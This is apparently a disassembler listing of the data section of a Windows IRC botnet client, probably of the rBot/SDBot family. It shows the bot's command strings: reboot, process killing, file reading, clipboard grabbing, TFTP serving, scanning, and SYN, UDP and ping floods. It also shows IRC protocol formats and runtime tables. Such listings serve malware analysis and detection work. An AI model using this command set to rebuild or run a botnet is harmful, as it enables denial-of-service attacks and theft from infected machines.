		unicode	0, <e>,0
aExecute	db 'execute',0          ; DATA XREF: sub_4077FD+15F0o
aKkttupw	db 'kkttupw',0          ; DATA XREF: sub_4077FD+15C6o
					; sub_4077FD+15DBo
aDelay		db 'delay',0            ; DATA XREF: sub_4077FD+159Co
		align 4
aRp		db 'rp',0               ; DATA XREF: sub_4077FD+1587o
		align 4
aRepeat		db 'repeat',0           ; DATA XREF: sub_4077FD+1572o
					; sub_4077FD+2717o
		align 10h
aM:					; DATA XREF: sub_4077FD+155Do
		unicode	0, <m>,0
aMode		db 'mode',0             ; DATA XREF: sub_4077FD+1548o
		align 4
aCy		db 'cy',0               ; DATA XREF: sub_4077FD+1533o
		align 10h
aCycle		db 'cycle',0            ; DATA XREF: sub_4077FD+151Eo
		align 4
aA_0:					; DATA XREF: sub_4077FD+1509o
		unicode	0, <a>,0
aAction		db 'action',0           ; DATA XREF: sub_4077FD+14F4o
		align 4
aPm		db 'pm',0               ; DATA XREF: sub_4077FD+14DFo
		align 4
aPrivmsg_0	db 'privmsg',0          ; DATA XREF: sub_4077FD+14CAo
aAa		db 'aa',0               ; DATA XREF: sub_4077FD+14B5o
		align 4
aAddalias	db 'addalias',0         ; DATA XREF: sub_4077FD+14A0o
		align 10h
aGh		db 'gh',0               ; DATA XREF: sub_4077FD+1479o
		align 4
aGethost	db 'gethost',0          ; DATA XREF: sub_4077FD+1464o
aRf		db 'rf',0               ; DATA XREF: sub_4077FD+144Fo
		align 10h
aReadfile	db 'readfile',0         ; DATA XREF: sub_4077FD+143Ao
		align 4
aMirc_0		db 'mirc',0             ; DATA XREF: sub_4077FD+1425o
		align 4
aMirccmd	db 'mirccmd',0          ; DATA XREF: sub_4077FD+1410o
aDel		db 'del',0              ; DATA XREF: sub_4077FD+13FBo
aDelete		db 'delete',0           ; DATA XREF: sub_4077FD+13E6o
		align 4
aKi		db 'ki',0               ; DATA XREF: sub_4077FD+13D1o
		align 4
aKill		db 'kill',0             ; DATA XREF: sub_4077FD+13BCo
		align 4
aKp		db 'kp',0               ; DATA XREF: sub_4077FD+13A7o
		align 4
aKillproc	db 'killproc',0         ; DATA XREF: sub_4077FD+1392o
		align 4
aDn		db 'dn',0               ; DATA XREF: sub_4077FD+137Do
		align 4
aDns		db 'dns',0              ; DATA XREF: sub_4077FD+1368o
aSew		db 'sew',0              ; DATA XREF: sub_4077FD+1353o
aServerw	db 'serverw',0          ; DATA XREF: sub_4077FD+133Eo
aO:					; DATA XREF: sub_4077FD+1329o
		unicode	0, <o>,0
aPrw		db 'prw',0              ; DATA XREF: sub_4077FD+12FFo
aPrefixw	db 'prefixw',0          ; DATA XREF: sub_4077FD+12EAo
aK:					; DATA XREF: sub_4077FD+12D5o
		unicode	0, <k>,0
aKillthread	db 'killthread',0       ; DATA XREF: sub_4077FD+12C0o
		align 4
aRaw		db 'raw',0              ; DATA XREF: sub_4077FD+1296o
aPt		db 'pt',0               ; DATA XREF: sub_4077FD+1281o
		align 10h
aPart_0		db 'part',0             ; DATA XREF: sub_4077FD+126Co
		align 4
aJ:					; DATA XREF: sub_4077FD+1257o
		unicode	0, <j>,0
aJoin		db 'join',0             ; DATA XREF: sub_4077FD+1242o
		align 4
aN:					; DATA XREF: sub_4077FD+122Do
		unicode	0, <n>,0
aNick_0		db 'nick',0             ; DATA XREF: sub_4077FD+1218o
		align 10h
aAlls		db 'alls',0             ; DATA XREF: sub_4077FD+11DCo
					; sub_4077FD+11F1o
		align 4
aTftp		db 'tftp',0             ; DATA XREF: sub_4077FD+11C7o
		align 10h
aTftpserver	db 'tftpserver',0       ; DATA XREF: sub_4077FD+11B2o
		align 4
aCip		db 'cip',0              ; DATA XREF: sub_4077FD+119Do
aCurrentip	db 'currentip',0        ; DATA XREF: sub_4077FD+1188o
		align 4
aFdns		db 'fdns',0             ; DATA XREF: sub_4077FD+1173o
		align 4
aFlushdns	db 'flushdns',0         ; DATA XREF: sub_4077FD+115Eo
		align 10h
aFarp		db 'farp',0             ; DATA XREF: sub_4077FD+1149o
		align 4
aFlusharp	db 'flusharp',0         ; DATA XREF: sub_4077FD+1134o
		align 4
aGc		db 'gc',0               ; DATA XREF: sub_4077FD+111Fo
		align 4
aGetclip	db 'getclip',0          ; DATA XREF: sub_4077FD+110Ao
unk_41F520	db  1Fh			; DATA XREF: sub_4077FD+10FFo
		db 2, 6Dh, 2
		db  1Fh
		db 61h,	69h, 6Eh
		db  20h
		db 2, 0BBh, 2
aLoginListCompl	db ' Login list complete.',0
		align 4
aD_S		db '%d. %s',0           ; DATA XREF: sub_4077FD+10CBo
					; sub_40C11F+46o
		align 4
aEmpty		db '<Empty>',0          ; DATA XREF: sub_4077FD+10BEo
aLoginList	db '-[Login List]-',0   ; DATA XREF: sub_4077FD+109Co
		align 4
aWho		db 'who',0              ; DATA XREF: sub_4077FD+1083o
aDrv		db 'drv',0              ; DATA XREF: sub_4077FD+106Eo
aDriveinfo	db 'driveinfo',0        ; DATA XREF: sub_4077FD+1059o
		align 4
aUp		db 'up',0               ; DATA XREF: sub_4077FD+1044o
		align 4
aUptime		db 'uptime',0           ; DATA XREF: sub_4077FD+102Fo
		align 4
aPs		db 'ps',0               ; DATA XREF: sub_4077FD+101Ao
		align 4
aProcs		db 'procs',0            ; DATA XREF: sub_4077FD+1005o
		align 10h
aRrmm010kt	db 'rrmm010kt',0        ; DATA XREF: sub_4077FD+FDBo
					; sub_4077FD+FF0o
		align 4
aSi		db 'si',0               ; DATA XREF: sub_4077FD+FC6o
		align 10h
aSysinfo	db 'sysinfo',0          ; DATA XREF: sub_4077FD+FB1o
aNi		db 'ni',0               ; DATA XREF: sub_4077FD+F9Co
		align 4
aNetinfo	db 'netinfo',0          ; DATA XREF: sub_4077FD+F87o
aAl		db 'al',0               ; DATA XREF: sub_4077FD+F72o
		align 4
aAliases	db 'aliases',0          ; DATA XREF: sub_4077FD+F5Do
aT:					; DATA XREF: sub_4077FD+F48o
		unicode	0, <t>,0
aThreads	db 'threads',0          ; DATA XREF: sub_4077FD+F33o
unk_41F5CC	db  1Fh			; DATA XREF: sub_4077FD+EFFo
		db 2, 6Dh, 2
		db  1Fh
		db 61h,	69h, 6Eh
		db  20h
		db 2, 0BBh, 2
aFailedToReboot	db ' Failed to reboot system.',0
		align 4
unk_41F5F4	db  1Fh			; DATA XREF: sub_4077FD+EF8o
		db 2, 6Dh, 2
		db  1Fh
		db 61h,	69h, 6Eh
		db  20h
		db 2, 0BBh, 2
aRebootingSyste	db ' Rebooting system.',0
aReboot		db 'reboot',0           ; DATA XREF: sub_4077FD+EE1o
		align 4
aIdw		db 'idw',0              ; DATA XREF: sub_4077FD+EB7o
					; sub_4077FD+ECCo
aS_2:					; DATA XREF: sub_4077FD+EA2o
		unicode	0, <s>,0
aStatus		db 'status',0           ; DATA XREF: sub_4077FD+E8Do
		align 4
aQ:					; DATA XREF: sub_4077FD+E78o
		unicode	0, <q>,0
aQuit_0		db 'quit',0             ; DATA XREF: sub_4077FD+E63o
		align 4
aD:					; DATA XREF: sub_4077FD+E4Eo
		unicode	0, <d>,0
aDisconnect	db 'disconnect',0       ; DATA XREF: sub_4077FD+E39o
		align 4
aR:					; DATA XREF: sub_4077FD+E24o
					; sub_4077FD+12ABo ...
		unicode	0, <r>,0
aReconnect	db 'reconnect',0        ; DATA XREF: sub_4077FD+E0Fo
		align 4
aStats		db 'stats',0            ; DATA XREF: sub_4077FD+DFAo
		align 10h
aScanstats	db 'scanstats',0        ; DATA XREF: sub_4077FD+DE5o
		align 4
aRooting	db 'Rooting',0          ; DATA XREF: sub_4077FD+DDAo
aProcess	db 'process',0          ; DATA XREF: sub_4077FD+DD5o
aScanstop	db 'scanstop',0         ; DATA XREF: sub_4077FD+DBCo
		align 4
aSecure_1	db 'SECURE ',0         ; DATA XREF: sub_4077FD+DB1o
		align 4
aSecure_0	db 'Secure',0           ; DATA XREF: sub_4077FD+DACo
		align 4
aSecurestop	db 'securestop',0       ; DATA XREF: sub_4077FD+D93o
		align 4
aPsstop		db 'psstop',0           ; DATA XREF: sub_4077FD+D7Eo
		align 10h
aProcsstop	db 'procsstop',0        ; DATA XREF: sub_4077FD+D69o
		align 4
aTftp_0		db 'TFTP ',0           ; DATA XREF: sub_4077FD+D5Eo
		align 4
aServer		db 'Server',0           ; DATA XREF: sub_4077FD+D59o
		align 4
aTftpstop	db 'tftpstop',0         ; DATA XREF: sub_4077FD+D40o
		align 4
aPing_1		db 'PING ',0           ; DATA XREF: sub_4077FD+D35o
		align 10h
aPingFlood	db 'Ping flood',0       ; DATA XREF: sub_4077FD+D30o
		align 4
aPingstop	db 'pingstop',0         ; DATA XREF: sub_4077FD+D17o
		align 4
aUdp		db 'UDP ',0            ; DATA XREF: sub_4077FD+D0Co
		align 10h
aUdpFlood	db 'UDP flood',0        ; DATA XREF: sub_4077FD+D07o
		align 4
aUdpstop	db 'udpstop',0          ; DATA XREF: sub_4077FD+CEEo
aSyn		db 'SYN ',0            ; DATA XREF: sub_4077FD+CE3o
		align 4
aSynFlood	db 'Syn flood',0        ; DATA XREF: sub_4077FD+CDEo
		align 4
aSynstop	db 'synstop',0          ; DATA XREF: sub_4077FD+CC5o
aRedirect_0	db 'REDIRECT ',0       ; DATA XREF: sub_4077FD+CBAo
		align 4
aTcpRedirect	db 'TCP redirect',0     ; DATA XREF: sub_4077FD+CB5o
		align 4
aRedirectstop	db 'redirectstop',0     ; DATA XREF: sub_4077FD+C9Co
		align 4
aLog		db 'LOG ',0            ; DATA XREF: sub_4077FD+C91o
		align 4
aLogList	db 'Log list',0         ; DATA XREF: sub_4077FD+C8Co
		align 10h
aLogstop	db 'logstop',0          ; DATA XREF: sub_4077FD+C73o
aUnsec		db 'unsec',0            ; DATA XREF: sub_4077FD+C5Eo
		align 10h
aUnsecure	db 'unsecure',0         ; DATA XREF: sub_4077FD+C49o
		align 4
aSec		db 'sec',0              ; DATA XREF: sub_4077FD+C34o
					; sub_4077FD+378Do
aSecure		db 'secure',0           ; DATA XREF: sub_4077FD+C1Fo
					; sub_4077FD+377Co
		align 4
aVerw		db 'verw',0             ; DATA XREF: sub_4077FD+C0Ao
		align 10h
aVersionw	db 'versionw',0         ; DATA XREF: sub_4077FD+BF5o
		align 4
aLo		db 'lo',0               ; DATA XREF: sub_4077FD+BE0o
		align 10h
aLogout		db 'logout',0           ; DATA XREF: sub_4077FD+BCBo
		align 4
aDe		db 'de',0               ; DATA XREF: sub_4077FD+BB6o
					; sub_4077FD+15B1o
		align 4
aDie		db 'die',0              ; DATA XREF: sub_4077FD+BA1o
aRn		db 'rn',0               ; DATA XREF: sub_4077FD+B8Co
		align 4
aRndnick	db 'rndnick',0          ; DATA XREF: sub_4077FD+B77o
a63		db '63',0               ; DATA XREF: sub_4077FD+A64o
		align 10h
asc_41F7D0:				; DATA XREF: sub_4077FD+A45o
		unicode	0, <)>,0
aChr		db '$chr(',0            ; DATA XREF: sub_4077FD+A11o
		align 4
aServer_1	db '$server',0          ; DATA XREF: sub_4077FD+A06o
aRndnick_0	db '$rndnick',0         ; DATA XREF: sub_4077FD+9F5o
		align 10h
aChan		db '$chan',0            ; DATA XREF: sub_4077FD+9DCo
		align 4
aUser_2		db '$user',0            ; DATA XREF: sub_4077FD+9CBo
		align 10h
aMe		db '$me',0              ; DATA XREF: sub_4077FD+9B9o
aD_0		db '$%d',0              ; DATA XREF: sub_4077FD+951o
aD_1		db '$%d-',0             ; DATA XREF: sub_4077FD+8B3o
		align 10h
dword_41F810	dd 49544F4Eh, 25204543h, 13A2073h, 474E4950h, 1732520h
					; DATA XREF: sub_4077FD+845o
		dd 0A0Dh
dword_41F828	dd 4E495001h, 47h	; DATA XREF: sub_4077FD+811o
dword_41F830	dd 49544F4Eh, 25204543h, 13A2073h, 53524556h, 204E4F49h
					; DATA XREF: sub_4077FD+806o
		dd 0D017325h, 0Ah
dword_41F84C	dd 52455601h, 4E4F4953h, 1 ; DATA XREF:	sub_4077FD+7D5o
dword_41F858	dd 77h			; DATA XREF: sub_4077FD+693o
					; sub_4077FD+6A8o
dword_41F85C	dd 323333h		; DATA XREF: sub_4077FD+606o
					; sub_4077FD+6CAo ...
unk_41F860	db  1Fh			; DATA XREF: sub_4077FD+587o
		db 2, 6Dh, 2
		db  1Fh
		db 61h,	69h, 6Eh
		db  20h
		db 2, 0BBh, 2
aUserSLoggedOut	db ' User: %s logged out.',0
		align 4
a353		db '353',0              ; DATA XREF: sub_4077FD+537o
aPart		db 'PART',0             ; DATA XREF: sub_4077FD+4E9o
					; sub_4077FD+5A4o
		align 10h
aSS_0		db ':%s%s',0            ; DATA XREF: sub_4077FD+4C1o
		align 4
aNick		db 'NICK',0             ; DATA XREF: sub_4077FD+3ADo
		align 10h
aNoticeSS	db 'NOTICE %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_4077FD+350o
					; sub_4077FD+5C8o
unk_41F8B0	db  1Fh			; DATA XREF: sub_4077FD+337o
					; sub_4077FD+38D0o ...
		db 2, 6Dh, 2
		db  1Fh
		db 61h,	69h, 6Eh
		db  20h
		db 2, 0BBh, 2
aUserSLoggedO_0	db ' User %s logged out.',0
		align 4
aKick		db 'KICK',0             ; DATA XREF: sub_4077FD+2D4o
		align 4
aNickS		db 'NICK %s',0Dh,0Ah,0  ; DATA XREF: sub_4077FD+27Fo
					; sub_4077FD+2DD5o ...
		align 4
a433		db '433',0              ; DATA XREF: sub_4077FD+257o
a@:					; DATA XREF: sub_4077FD+225o
		unicode	0, <@>,0
a302		db '302',0              ; DATA XREF: sub_4077FD+215o
a005		db '005',0              ; DATA XREF: sub_4077FD+200o
a001		db '001',0              ; DATA XREF: sub_4077FD+1EBo
aJoinSS		db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_4077FD+1CFo
					; sub_4077FD+39Ao ...
		align 4
aPongS		db 'PONG %s',0Dh,0Ah,0  ; DATA XREF: sub_4077FD+1AEo
		align 4
aPing		db 'PING',0             ; DATA XREF: sub_4077FD+194o
		align 10h
asc_41F920:				; DATA XREF: sub_4077FD+185o
					; sub_4077FD+39C4o
		unicode	0, <!>,0
asc_41F924:				; DATA XREF: sub_4077FD+A1o
					; sub_4077FD+B1Bo
		unicode	0, < >,0
asc_41F928	db ' :',0               ; DATA XREF: sub_4077FD+7Fo
					; sub_4077FD:loc_40804Co
		align 4
dword_41F92C	dd 273021Fh, 206E791Fh,	0BB02BB02h ; DATA XREF:	sub_40B359+48o
aDoneWithFloodI	db ' Done with flood (%iKB/sec).',0
		align 4
dword_41F958	dd 273021Fh, 206E791Fh,	0BB02BB02h ; DATA XREF:	sub_40B3F5+295o
aSendErrorD_	db ' Send error: <%d>.',0
		align 4
aDdDhDm		db '%dd %dh %dm',0      ; DATA XREF: sub_40B6FE+39o
		align 8
aSysinfoCpuI64u	db '[SYSINFO]: [CPU]: %I64uMHz. [RAM]: %sKB total, %sKB free. [Disk]:'
					; DATA XREF: sub_40B807+297o
		db ' %s total, %s free. [OS]: Windows %s (%d.%d, Build %d). [Sysdir]:'
		db ' %s. [Hostname]: %s (%s). [Current User]: %s. [Date]: %s. [Time]:'
		db ' %s. [Uptime]: %s.',0
		align 10h
aHhMmSs		db 'HH:mm:ss',0         ; DATA XREF: sub_40B807+1AEo
		align 4
aDdMmmYyyy	db 'dd:MMM:yyyy',0      ; DATA XREF: sub_40B807+192o
aCouldnTResolve	db 'couldn',27h,'t resolve host',0 ; DATA XREF: sub_40B807:loc_40B96Bo
		align 10h
aSS_1		db '%s (%s)',0          ; DATA XREF: sub_40B807+EBo
a2003		db '2003',0             ; DATA XREF: sub_40B807+BAo
		align 10h
aNetinfoTypeSS_	db '[NETINFO]: [Type]: %s (%s). [IP Address]: %s. [Hostname]: %s.',0
					; DATA XREF: sub_40BABB+ABo
		align 10h
off_41FAE0	dd offset loc_412F4C+2	; DATA XREF: sub_40BABB:loc_40BB2Fo
dword_41FAE4	dd 4E414Ch		; DATA XREF: sub_40BABB:loc_40BB28o
dword_41FAE8	dd 6C616944h, 70752Dh	; DATA XREF: sub_40BABB+5Eo
dword_41FAF0	dd 20746F4Eh, 6E6E6F63h, 65746365h, 64h	; DATA XREF: sub_40BABB+48o
dword_41FB00	dd 4000500h, 7868746Bh,	0 ; DATA XREF: sub_40BB81+47Do
unk_41FB0C	db  1Fh			; DATA XREF: sub_40BB81+3B6o
		db 2, 74h, 2
		db  1Fh
		db 66h,	74h, 70h
		db  20h
		db 2, 0BBh, 2
aFileNotFoundSS	db ' File not found: %s (%s).',0
		align 4
dword_41FB34	dd 1000500h, 656C6946h,	746F4E20h, 756F4620h, 646Eh
					; DATA XREF: sub_40BB81+399o
dword_41FB48	dd 21F5B1Fh, 64643168h,	1F026E33h, 0BB201F5Dh, 2520BBBBh
					; DATA XREF: sub_40BB81+344o
		dd 72202C73h, 696E6E75h, 2520676Eh, 73h
unk_41FB6C	db  1Fh			; DATA XREF: sub_40BB81+15Ao
		db 2, 74h, 2
		db  1Fh
		db 66h,	74h, 70h
		db  20h
		db 2, 0BBh, 2
aFailedToOpenFi	db ' Failed to open file: %s.',0
		align 4
unk_41FB94	db  1Fh			; DATA XREF: sub_40BB81+6Ao
		db 2, 74h, 2
		db  1Fh
		db 66h,	74h, 70h
		db  20h
		db 2, 0BBh, 2
aErrorSocketFai	db ' Error: socket() failed, returned: <%d>.',0
		align 4
aOctet		db 'octet',0            ; DATA XREF: sub_40BB81+Fo
		align 4
aThreadList	db '-[Thread List]-',0  ; DATA XREF: sub_40C11F+10o
aSNoSThreadFoun	db '%s: No %s thread found.',0 ; DATA XREF: sub_40C2EA+51o
aSSStopped_DThr	db '%s: %s stopped. (%d thread(s) stopped.)',0 ; DATA XREF: sub_40C2EA+35o
		align 10h
dword_41FC30	dd 76E2CEACh		; DATA XREF: sub_40CB55+4w sub_40CB5Fr ...
		align 10h
dword_41FC40	dd 173Fh		; DATA XREF: sub_40CDEA+Dr
		dd 9875h, 9873h
off_41FC4C	dd offset sub_40CEB9	; DATA XREF: sub_40E785r
		dd offset nullsub_2
		dd offset nullsub_2
dword_41FC58	dd 1B3Fh		; DATA XREF: sub_40CF33+Dr
dword_41FC5C	dd 19930520h, 4	dup(0)	; DATA XREF: sub_40D3B5+2o
					; sub_40D3BE+2o
off_41FC70	dd offset sub_40E7C3	; DATA XREF: sub_40EC7A+1Cr
dword_41FC74	dd 2			; DATA XREF: sub_414640+Er
					; sub_414679+46r ...
off_41FC78	dd offset aNull_0	; DATA XREF: sub_40EDD8:loc_40F13Cr
					; sub_40EDD8+457r
					; "(null)"
off_41FC7C	dd offset aNull		; DATA XREF: sub_40EDD8+259r
					; "(null)"
dword_41FC80	dd 0D2D0920h, 5Dh	; DATA XREF: sub_40F5E2:loc_40FB49o
dword_41FC88	dd 5Dh,	10h		; DATA XREF: sub_40F5E2:loc_40FA39o
off_41FC90	dd offset off_41FC90	; DATA XREF: sub_410DC7+Do
					; sub_410DC7+69o ...
off_41FC94	dd offset off_41FC90	; DATA XREF: sub_410DC7:loc_410E47r
					; sub_410DC7+89w ...
		dd offset dword_41FCA8
		dd offset dword_41FCA8
dword_41FCA0	dd 0FFFFFFFFh		; DATA XREF: sub_410DC7r
					; sub_410F0B:loc_410F58w
		dd 0FFFFFFFFh
dword_41FCA8	dd 0F0h, 0F1h, 800h dup(0) ; DATA XREF:	.nsp0:0041FC98o
					; .nsp0:0041FC9Co
off_421CB0	dd offset off_41FC90	; DATA XREF: sub_410F0B+15r
					; sub_410F0B+20w ...
dword_421CB4	dd 1E0h			; DATA XREF: sub_40CD0D:loc_40CD49r
					; sub_40DB08+185r ...
dword_421CB8	dd 14h			; DATA XREF: sub_411AF7+2o
off_421CBC	dd offset aExp		; DATA XREF: sub_411AF7:loc_411B14r
					; "exp"
		dd 1Dh,	41879Ch, 1Ah, 418798h, 1Bh, 418790h, 1Fh, 418788h
		dd 13h,	418780h, 21h, 418778h, 0Eh, 418770h, 0Dh, 418768h
		dd 0Fh,	418760h, 10h, 418758h, 5, 418750h, 1Eh,	41874Ch
		dd 12h,	418748h, 20h, 418744h, 0Ch, 41873Ch, 0Bh, 418734h
		dd 15h,	41872Ch, 1Ch, 418724h, 19h, 41871Ch, 11h, 418714h
		dd 18h,	41870Ch, 16h, 418704h, 17h, 4186FCh, 22h, 4186F8h
		dd 23h,	4186F4h, 24h, 4186F0h
dbl_421D90	dq 1.797693134862316e308 ; DATA	XREF: sub_411832+B7r
					; sub_411832:loc_411919r ...
		dd 0
		dd 0FFF80000h
dbl_421DA0	dq 1.797693134862316e308 ; DATA	XREF: sub_411832+92r
					; sub_411832:loc_4118F1r ...
		dd 0
		dd 100000h, 0
		dd 80000000h
tbyte_421DB8	dt 2.3562723457267347066e313 ; DATA XREF: sub_411CDF+Dr
					; sub_411CDF+1Fr
		align 4
tbyte_421DC4	dt 1.9149954921904370718e-1233 ; DATA XREF: sub_411CDF+31r
		align 10h
off_421DD0	dd offset sub_412173	; DATA XREF: sub_40CED1+Fw
					; sub_40EDD8+3AAr
off_421DD4	dd offset sub_411E08	; DATA XREF: sub_40CED1+5w
					; sub_40EDD8+3E2r
off_421DD8	dd offset sub_411E6E	; DATA XREF: sub_40CED1+14w
					; sub_40F5E2+430r
off_421DDC	dd offset sub_411DAE	; DATA XREF: sub_40CED1+1Ew
					; sub_40EDD8+3CBr
off_421DE0	dd offset sub_411E56	; DATA XREF: sub_40CED1+28w
off_421DE4	dd offset sub_412173	; DATA XREF: sub_40CED1+32w
		dd offset sub_41537C
		align 10h
		dd offset sub_412A3C
off_421DF4	dd offset sub_412A3C	; DATA XREF: sub_412A92+29r
off_421DF8	dd offset word_421E02	; DATA XREF: sub_40D934+23r
					; sub_40D934:loc_40D995r ...
		dd offset word_421E02
		db 2 dup(0)
word_421E02	dw 20h			; DATA XREF: sub_415FD3+18r
					; .nsp0:off_421DF8o ...
		unicode	0, <	    (((((		   H>
		dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h)
		dd 3 dup(810081h), 0Ah dup(10001h), 3 dup(100010h), 3 dup(820082h)
		dd 0Ah dup(20002h), 2 dup(100010h), 20h, 40h dup(0)
dword_422004	dd 1			; DATA XREF: sub_40D934:loc_40D93Cr
					; sub_40D934:loc_40D980r ...
byte_422008	db 2Eh			; DATA XREF: sub_40F5E2:loc_40F8D6r
					; sub_40F5E2+311r ...
		align 4
		dd 1
dword_422010	dd 1			; DATA XREF: sub_413260+Co
dword_422014	dd 16h			; DATA XREF: sub_413260:loc_413295r
		dd 2 dup(2), 3,	2, 4, 18h, 5, 0Dh, 6, 9, 7, 0Ch, 8, 0Ch
		dd 9, 0Ch, 0Ah,	7, 0Bh,	8, 0Ch,	16h, 0Dh, 16h, 0Fh, 2
		dd 10h,	0Dh, 11h, 2 dup(12h), 2, 21h, 0Dh, 35h,	2, 41h
		dd 0Dh,	43h, 2,	50h, 11h, 52h, 0Dh, 53h, 0Dh, 57h, 16h
		dd 59h,	0Bh, 6Ch, 0Dh, 6Dh, 20h, 70h, 1Ch, 72h,	9, 6, 16h
		dd 80h,	0Ah, 81h, 0Ah, 82h, 9, 83h, 16h, 84h, 0Dh, 91h
		dd 29h,	9Eh, 0Dh, 0A1h,	2, 0A4h, 0Bh, 0A7h, 0Dh, 0B7h
		dd 11h,	0CEh, 2, 0D7h, 0Bh, 718h, 0Ch
byte_422178	db 1			; DATA XREF: sub_413260+19o
					; sub_413679+E1r
		db 2, 4, 8
		align 10h
dword_422180	dd 3A4h			; DATA XREF: sub_413679+2Fo
dword_422184	dd 82798260h, 21h, 0	; DATA XREF: sub_413679+11Dr
dword_422190	dd 0DFA6h		; DATA XREF: sub_413679+C0r
		align 8
		dd 0A5A1h, 0
		dd 0FCE09F81h, 0
		dd 0FC807E40h, 0
		dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0)
		dd 0FE81h, 0
		dd 0FE40h, 0
		dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0)
		dd 0FE81h, 0
		dd 0FE41h, 0
		dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0)
		dd 0FE81h, 0
		dd 0FEA17E40h, 0
		dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0)
		dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0
dword_422270	dd 0C0000005h		; DATA XREF: sub_413679+3Co
					; sub_413EE0+Ar ...
dword_422274	dd 0Bh			; DATA XREF: sub_416BC8+Ar
		dd 0
		dd 0C000001Dh, 4, 0
		dd 0C0000096h, 4, 0
		db 8Dh,	0
		dw 0C000h
		dd 8, 0
		dd 0C000008Eh, 8, 0
		dd 0C000008Fh, 8, 0
		db 90h
		db 2 dup(0), 0C0h
		dd 8, 0
		dd 0C0000091h, 8, 0
		dd 0C0000092h, 8, 0
		dd 0C0000093h, 8, 0
dword_4222E8	dd 3			; DATA XREF: sub_413D9F+58r
					; sub_416A9B+C8r
dword_4222EC	dd 7			; DATA XREF: sub_413D9F+5Er
					; sub_416A9B+CDr
dword_4222F0	dd 0Ah			; DATA XREF: sub_413EE0+4r
					; sub_416BC8+4r
dword_4222F4	dd 8Ch			; DATA XREF: sub_413D9F+82r
					; sub_413D9F+8Fw ...
dword_4222F8	dd 0FFFFFFFFh, 0A00h	; DATA XREF: sub_40ECC3:loc_40ED80o
					; sub_412DA9:loc_412E2Ao
dword_422300	dd 2			; DATA XREF: sub_414679+Eo
					; sub_414679+28r
off_422304	dd offset aR6002FloatingP ; DATA XREF: sub_414679+FCr
					; sub_414679+12Dr
					; "R6002\r\n- floating point not loaded\r\n"
		dd 8, 418AC0h, 9, 418A94h, 0Ah,	418A70h, 10h, 418A44h
		dd 11h,	418A14h, 12h, 4189F0h, 13h, 4189C4h, 18h, 41898Ch
		dd 19h,	418964h, 1Ah, 41892Ch, 1Bh, 4188F4h, 1Ch, 4188CCh
		dd 78h,	4188BCh, 79h, 4188ACh, 7Ah, 41889Ch, 0FCh, 418898h
		dd 0FFh, 418888h
off_422390	dd offset dword_4820C0	; DATA XREF: sub_414679+1Bo
					; sub_4149E3+55o
		align 8
		dd offset dword_4820C0
		dd 101h
dword_4223A0	dd 0FFFFFFFFh, 0	; DATA XREF: sub_4149E3+72o
		dd 1000h, 0
dword_4223B0	dd 3 dup(0)		; DATA XREF: sub_40ECC3+50o
					; sub_413AE3+12o
		dd 2, 0FFFFFFFFh, 3 dup(0)
dword_4223D0	dd 3 dup(0)		; DATA XREF: sub_40ECC3+58o
					; sub_413AE3:loc_413B01o
		dd 2, 0FFFFFFFFh, 7 dup(0)
dword_422400	dd 84h dup(0)		; DATA XREF: sub_4149E3+9Bo
dword_422610	dd 2694h		; DATA XREF: sub_411494+3r
					; sub_4114E7+46r ...
		align 8
dword_422618	dd 400h, 0FFFFFC01h, 35h, 0Bh, 40h, 3FFh ; DATA	XREF: sub_41515Co
dword_422630	dd 80h,	0FFFFFF81h, 18h, 8, 20h, 7Fh ; DATA XREF: sub_415172o
dword_422648	dd 7080h		; DATA XREF: sub_413393+76r
					; sub_415A78+5Ew ...
dword_42264C	dd 1			; DATA XREF: sub_413393+98r
					; sub_415A78+8Bw ...
dword_422650	dd 0FFFFF1F0h		; DATA XREF: sub_413393:loc_413445r
					; sub_415A78+94w ...
dword_422654	dd 545350h, 0Fh	dup(0)	; DATA XREF: .nsp0:off_4226D4o
dword_422694	dd 544450h, 0Fh	dup(0)	; DATA XREF: .nsp0:off_4226D8o
off_4226D4	dd offset dword_422654	; DATA XREF: sub_415A78+BAr
					; sub_415A78+D9r ...
off_4226D8	dd offset dword_422694	; DATA XREF: sub_415A78+F4r
					; sub_415A78+11Br ...
		align 10h
dword_4226E0	dd 0FFFFFFFFh		; DATA XREF: sub_415A78+1Dw
					; sub_415CD6+1Er ...
dword_4226E4	dd 0			; DATA XREF: sub_415CD6:loc_415E0Ar
					; sub_415E82+BFw
dword_4226E8	dd 0			; DATA XREF: sub_415CD6+192r
					; sub_415E82+E0w
		align 10h
dword_4226F0	dd 0FFFFFFFFh		; DATA XREF: sub_415A78+17w
					; sub_415CD6+26r ...
dword_4226F4	dd 0			; DATA XREF: sub_415CD6+13Ar
					; sub_415E82+EAw ...
dword_4226F8	dd 0			; DATA XREF: sub_415CD6+1A1r
					; sub_415E82+23r ...
dword_4226FC	dd 0FFFFFFFFh		; DATA XREF: sub_415E82+84r
		dd 1Eh,	3Bh, 5Ah, 78h, 97h, 0B5h, 0D4h,	0F3h, 111h, 130h
		dd 14Eh
dword_42272C	dd 16Dh			; DATA XREF: sub_413393+2Ar
					; sub_415E82+2Er ...
dword_422730	dd 0FFFFFFFFh		; DATA XREF: sub_415E82:loc_415F0Er
		dd 1Eh,	3Ah, 59h, 77h, 96h, 0B4h, 0D3h,	0F2h, 110h, 12Fh
		dd 14Dh, 16Ch, 0
dword_422768	dd 2 dup(0)		; DATA XREF: sub_416FF0+7o
		dd 4002A000h, 2	dup(0)
		dd 4005C800h, 2	dup(0)
		dd 4008FA00h, 2	dup(0)
		dd 400C9C40h, 2	dup(0)
; ---------------------------------------------------------------------------
		push	eax
		retn
; ---------------------------------------------------------------------------
		dw 400Fh
		dd 2 dup(0)
		dd 4012F424h, 0
		dd 80000000h, 40169896h, 0
		dd 20000000h, 4019BEBCh, 0
		dd 0C9BF0400h, 40348E1Bh, 0A1000000h, 1BCECCEDh, 404ED3C2h
		dd 0B59EF020h, 0ADA82B70h, 40699DC5h, 25FD5DD0h, 4F8E1AE5h
		dd 4083EB19h, 95D79671h, 8D050E43h, 409EAF29h, 44A0BFF9h
		dd 8F1281EDh, 40B98281h, 0A6D53CBFh, 1F49FFCFh,	40D3C278h
